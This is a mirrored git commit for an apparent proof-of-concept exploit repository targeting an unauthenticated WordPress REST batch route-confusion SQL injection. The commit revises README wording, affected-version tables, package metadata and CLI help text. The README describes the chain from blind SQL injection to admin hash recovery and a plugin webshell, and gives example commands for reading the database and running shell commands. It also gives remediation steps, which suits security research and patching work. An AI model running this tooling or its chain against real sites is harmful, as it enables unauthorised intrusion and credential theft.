mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Fix versions
This commit is contained in:
@@ -1,24 +1,25 @@
|
||||
# wp2shell-poc
|
||||
|
||||
Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote
|
||||
code execution, via REST batch route confusion (CVE-2026-63030).
|
||||
Independent proof-of-concept for the unauthenticated WordPress REST batch route-confusion
|
||||
SQL injection associated with Searchlight Cyber's wp2shell advisory.
|
||||
|
||||
The exploit needs no credentials and no configuration beyond a reachable target. It reaches the
|
||||
injection through a single endpoint: `POST /wp-json/batch/v1`.
|
||||
The unauthenticated primitive reaches the injection through a single endpoint:
|
||||
`POST /wp-json/batch/v1`.
|
||||
|
||||
The finding itself is that unauthenticated SQL injection — `check` confirms it and `read`
|
||||
demonstrates arbitrary database read. The `shell` command is optional post-exploitation
|
||||
(recovered admin credentials → plugin upload → command execution), included to demonstrate full
|
||||
impact; it is not the vulnerability.
|
||||
This repository is not Searchlight Cyber's official checker and does not claim to reproduce
|
||||
undisclosed wp2shell internals. `check` confirms the SQLi path, `read` demonstrates database
|
||||
read, and `shell` is an optional post-authentication helper that requires valid administrator
|
||||
credentials before uploading a plugin webshell.
|
||||
|
||||
## Affected versions
|
||||
|
||||
| Branch | Affected | Fixed in |
|
||||
| ------ | ------------- | -------- |
|
||||
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
|
||||
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
|
||||
Searchlight Cyber's advisory lists these wp2shell RCE exposure ranges:
|
||||
|
||||
Versions before 6.9.0 are not affected by this chain.
|
||||
| Version range | Status |
|
||||
| ------------- | ------ |
|
||||
| <= 6.8.5 | Not affected |
|
||||
| 6.9.0 – 6.9.4 | Affected |
|
||||
| 7.0.0 – 7.0.1 | Affected |
|
||||
|
||||
## How it works
|
||||
|
||||
@@ -42,9 +43,10 @@ The PoC nests the primitive twice:
|
||||
dispatched under posts `get_items()`. There `author_exclude` maps to the `WP_Query`
|
||||
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
|
||||
|
||||
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. With
|
||||
database read access the administrator password hash can be recovered; once cracked, admin access
|
||||
yields code execution through a plugin upload.
|
||||
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC
|
||||
can use that database read path to recover administrator password hashes. Turning those hashes into
|
||||
plugin-upload code execution is outside the unauthenticated primitive and depends on obtaining valid
|
||||
administrator credentials.
|
||||
|
||||
## Requirements
|
||||
|
||||
@@ -80,10 +82,11 @@ generator, the homepage generator meta tag, and core asset `?ver=` query strings
|
||||
./wp2shell.py read http://target --query "SELECT @@version"
|
||||
```
|
||||
|
||||
### shell — execute a command (remote code execution)
|
||||
### shell — post-auth plugin webshell helper
|
||||
|
||||
Optional post-exploitation. Requires valid administrator credentials; the injection recovers the
|
||||
password *hash*, so supply the recovered plaintext here.
|
||||
Optional post-exploitation helper. This is not a pre-authentication RCE step: it requires valid
|
||||
administrator credentials. If `read --preset users` recovers a password hash, supply the recovered
|
||||
plaintext here after offline cracking.
|
||||
|
||||
```
|
||||
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
|
||||
@@ -112,9 +115,10 @@ path. Remove it when finished.
|
||||
|
||||
## Remediation
|
||||
|
||||
Update to WordPress 6.9.5 or 7.0.2. Until then, block both `/wp-json/batch/v1` and the
|
||||
`rest_route=/batch/v1` query parameter at the edge, or require authentication for the batch
|
||||
endpoint via the `rest_pre_dispatch` filter.
|
||||
Update to WordPress 7.0.2, or 6.9.5 if the site is on the 6.9 branch. Until then,
|
||||
block both `/wp-json/batch/v1` and the `rest_route=/batch/v1` query parameter at
|
||||
the edge, or require authentication for the batch endpoint via the
|
||||
`rest_pre_dispatch` filter.
|
||||
|
||||
## Legal
|
||||
|
||||
@@ -124,4 +128,4 @@ written permission to test. No warranty is provided and no liability is accepted
|
||||
## References
|
||||
|
||||
- WordPress 7.0.2 release announcement — <https://wordpress.org/news/2026/07/wordpress-7-0-2-release/>
|
||||
- CVE-2026-63030
|
||||
- Searchlight Cyber wp2shell advisory — <https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/>
|
||||
|
||||
+2
-2
@@ -5,11 +5,11 @@ build-backend = "setuptools.build_meta"
|
||||
[project]
|
||||
name = "wp2shell-poc"
|
||||
version = "1.0.0"
|
||||
description = "PoC for the WordPress REST batch route-confusion SQL injection to RCE chain (CVE-2026-63030)."
|
||||
description = "PoC for the WordPress REST batch route-confusion SQL injection associated with wp2shell."
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.8"
|
||||
license = { text = "MIT" }
|
||||
keywords = ["wordpress", "rest-api", "sql-injection", "rce", "security", "cve-2026-63030"]
|
||||
keywords = ["wordpress", "rest-api", "sql-injection", "wp2shell", "security"]
|
||||
classifiers = [
|
||||
"Environment :: Console",
|
||||
"Intended Audience :: Information Technology",
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
"""wp2shell — PoC for the WordPress REST batch route-confusion SQLi/RCE chain (CVE-2026-63030)."""
|
||||
"""wp2shell - PoC for the WordPress REST batch route-confusion SQLi."""
|
||||
|
||||
__version__ = "1.0.0"
|
||||
|
||||
+8
-6
@@ -11,7 +11,7 @@ from . import __version__
|
||||
from .client import BatchClient
|
||||
from .shell import AdminSession
|
||||
from .sqli import BlindSQLi
|
||||
from .version import public_version_hints
|
||||
from .version import public_version_hints, version_status
|
||||
|
||||
try:
|
||||
import readline # noqa: F401 - enables line editing/history for the interactive prompt
|
||||
@@ -77,10 +77,12 @@ def _print_version_hints(client: BatchClient) -> None:
|
||||
|
||||
info("Public WordPress version hints:")
|
||||
for hint in hints:
|
||||
status = "affected range" if hint.affected else "not in affected ranges"
|
||||
print(f" - {hint.version} via {hint.source} ({status}) - {_short(hint.detail)}")
|
||||
print(
|
||||
f" - {hint.version} via {hint.source} "
|
||||
f"({version_status(hint.version)}) - {_short(hint.detail)}"
|
||||
)
|
||||
if any(hint.affected for hint in hints):
|
||||
warn("A public version hint falls in the affected range; verify internally or confirm with authorization.")
|
||||
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
|
||||
|
||||
|
||||
# -- commands ---------------------------------------------------------------
|
||||
@@ -246,7 +248,7 @@ def _add_common(parser: argparse.ArgumentParser) -> None:
|
||||
def build_parser() -> argparse.ArgumentParser:
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="wp2shell",
|
||||
description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).",
|
||||
description="WordPress REST batch route-confusion SQLi PoC associated with wp2shell.",
|
||||
)
|
||||
parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
|
||||
sub = parser.add_subparsers(dest="command", required=True)
|
||||
@@ -276,7 +278,7 @@ def build_parser() -> argparse.ArgumentParser:
|
||||
read.add_argument("--max-length", type=int, default=128, help="max characters per value")
|
||||
read.set_defaults(func=cmd_read)
|
||||
|
||||
shell = sub.add_parser("shell", help="execute a command (requires admin credentials)")
|
||||
shell = sub.add_parser("shell", help="post-auth plugin webshell helper")
|
||||
_add_common(shell)
|
||||
shell.add_argument("--user", required=True, help="admin username")
|
||||
shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
|
||||
|
||||
@@ -97,6 +97,12 @@ def is_affected_version(version: str) -> bool:
|
||||
return (6, 9, 0) <= parsed <= (6, 9, 4) or (7, 0, 0) <= parsed <= (7, 0, 1)
|
||||
|
||||
|
||||
def version_status(version: str) -> str:
|
||||
if is_affected_version(version):
|
||||
return "wp2shell affected range"
|
||||
return "not in wp2shell affected ranges"
|
||||
|
||||
|
||||
def _get(client: BatchClient, path: str):
|
||||
try:
|
||||
return client.get(path)
|
||||
|
||||
Reference in New Issue
Block a user